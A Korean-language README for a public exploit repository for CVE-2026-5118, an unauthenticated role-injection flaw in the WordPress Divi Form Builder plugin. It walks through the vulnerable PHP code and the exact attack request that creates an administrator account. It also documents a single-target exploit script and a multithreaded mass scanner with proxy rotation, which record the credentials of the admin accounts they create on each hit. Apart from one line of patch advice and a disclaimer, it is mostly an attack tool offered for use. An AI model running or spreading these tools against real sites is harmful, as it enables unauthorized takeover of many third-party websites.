
역할 주입을 통해 관리자 계정 생성을 가능하게 하는 WordPress Divi Form Builder <=5.1.2의 인증되지 않은 권한 상승인 CVE-2026-5118용 자동화 익스플로잇 및 대량 스캐너.
인증되지 않은 권한 상승 (역할 주입)
=== Beelze ( zeroday 1diot9 ) ===
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-5118 |
| CVSS 점수 | 9.8 (치명적) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-269 — 부적절한 권한 관리 |
| 플러그인 | Divi Form Builder (by Divi Engine) |
| 영향 받는 버전 | 모든 버전 ≤ 5.1.2 |
| 패치 버전 | 5.1.3 (2026년 4월 13일) |
| 공개일 | 2026년 5월 20일 |
| 연구자 | 0xd4rk5id3 — EnvoraSec |
| PoC | Beelze ( zeroday 1diot9 ) |
WordPress용 Divi Form Builder 플러그인은 버전 5.1.2 이하의 모든 버전에서 인증되지 않은 권한 상승 취약점에 취약합니다.
FormSubmissionHandler.php 안의 create_user() 함수는 사용자 등록 중 POST 데이터에서 사용자 제어 role 파라미터를 받아들이지만, 양식에 설정된 default_user_role 설정과 비교하여 검증하지 않습니다 ("보호"는 sanitize_text_field() 하나뿐입니다. 이는 HTML 태그와 인코딩을 제거하지만 안전한 역할로 제한하는 작업은 전혀 하지 않습니다). 그런 다음 WordPress에서 역할이 존재하는지만 확인하는 존재 여부 검사가 뒤따르며, administrator는 항상 존재합니다.
이 세 가지 실패로 인해 인증되지 않은 공격자는 다음을 수행할 수 있습니다:
de_fb_obj JavaScript 객체에서 공유된 전역 nonce (fb_nonce)를 추출합니다.form_type을 register로 재정의하여 모든 양식을 등록 엔드포인트로 바꿉니다.role=administrator를 주입합니다.결과: 완전한 사이트 장악 — 인증 제로, 사용자 상호작용 제로, 단 한 번의 POST 요청.
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~2250줄
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← 태그/인코딩만 제거합니다!
: 'subscriber'; // ← 'administrator'는 깨끗하게 통과
sanitize_text_field()는 자유 텍스트 정리(XSS 방지)용으로 설계되었습니다. 안전한 역할의 허용 목록에 대해 검증하지 않습니다. 문자열 "administrator"에는 HTML 태그나 특수 인코딩이 없으므로 완전히 그대로 통과합니다.
// ~2278줄
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← 역할이 존재하지 않는 경우에만 대체
}
이 검사는 "이 역할이 WordPress에 존재하는가?"를 묻고, administrator는 항상 존재합니다. 올바른 질문인 "이 역할이 공개 자체 등록에 안전한가?"는 묻지 않습니다. 적절한 검사는 ['subscriber', 'contributor']와 같은 허용 목록에 대해 검증하거나 양식의 default_user_role 설정을 적용해야 합니다.
// ~2301줄
$user = new WP_User($user_id);
$user->set_role($role); // ← 공격자가 제어하는 역할이 직접 적용됩니다!
current_user_can('create_users') 검사가 없습니다. current_user_can('promote_users') 검사가 없습니다. 어떤 종류의 권한 확인도 없습니다. 공격자가 제공한 역할이 곧바로 set_role()에 전달됩니다.
// 프론트엔드 JS 지역화
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← 모든 양식, 모든 페이지에서 동일한 nonce
// ...
]);
fb_nonce는 wp_create_nonce('security')를 통해 생성됩니다 — 사이트의 모든 DFB 양식에서 공유되는 일반 액션 문자열입니다. 모든 방문자는 de_fb_obj JavaScript 객체를 읽어 페이지 소스에서 추출할 수 있습니다.
// AJAX 핸들러
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← POST 재정의로 트리거됩니다!
}
form_type은 서버 측 양식 구성이 아닌 POST 데이터에서 읽힙니다. 공격자는 모든 DFB AJAX 제출 — 연락처 양식, 견적 요청, 뉴스레터 가입 — 에 form_type=register를 보낼 수 있으며 서버는 등록 코드 경로를 실행합니다. 원래 양식의 목적은 중요하지 않습니다.
[인증되지 않은 공격자]
│
▼
GET /dfb-양식이-있는-모든-페이지/
← HTML 소스: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
de_fb_obj JavaScript 객체에서 fb_nonce 추출
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← 주입됨 │
│ form_type = register ← 재정의됨 │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = [email protected] │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ 통과
wp_roles()->roles['administrator'] exists? → YES ✓ 통과
$user->set_role('administrator') ✓ 권한 검사 없음
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[완전한 관리자 액세스] 🔥
CVE-2026-5118.py — 단일 대상 익스플로잇자동 양식 검색 및 nonce 추출이 포함된 5단계 완전 익스플로잇 체인.
python3 CVE-2026-5118.py
타겟 URL: https://target.com
사용자명 [beelze_admin]:
비밀번호 [Beelze123!!@#!]:
이메일 [[email protected]]:
타임아웃(초) [15]:
SOCKS5 프록시 (비우면 없음):
익스플로잇 단계:
Phase 1 ▶ 접근 가능성 확인 (HTTPS + HTTP 대체)
Phase 2 ▶ 플러그인 탐지 (readme.txt 버전 확인)
Phase 3 ▶ 양식 검색 및 Nonce 추출
├── REST API 페이지 스캔
├── 일반 경로 프로빙
├── 사이트맵 크롤링
└── 홈페이지 링크 크롤링
Phase 4 ▶ 역할 주입 (권한 상승)
Phase 5 ▶ 관리자 로그인 확인
출력 (scan_results/CVE-2026-5118_success.txt):
https://target.com | beelze_admin:Beelze123!!@#!
CVE-2026-5118-mass.py — 대량 스캐너JSONL 로깅 및 재개 지원이 포함된 멀티스레드 대량 익스플로잇.
python3 CVE-2026-5118-mass.py
대상 파일 (URL 한 줄당 하나): targets.txt
사용자명 [beelze_admin]:
비밀번호 [Beelze123!!@#!]:
이메일 [[email protected]]:
스레드 수 [10]:
타임아웃(초) [10]:
프록시 파일 (SOCKS5, 한 줄당 하나, 비우면 없음):
이전 스캔 재개? (y/n) [n]:
기능:
출력 (scan_results/CVE-2026-5118_success.txt):
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
default_user_role 설정에 서버 측에서 구성된 역할이 되도록 적용하며, POST 데이터의 사용자 제공 role 파라미터는 무시합니다.Beelze ( zeroday 1diot9 ) — 교육 및 승인된 보안 연구 목적으로만 사용하십시오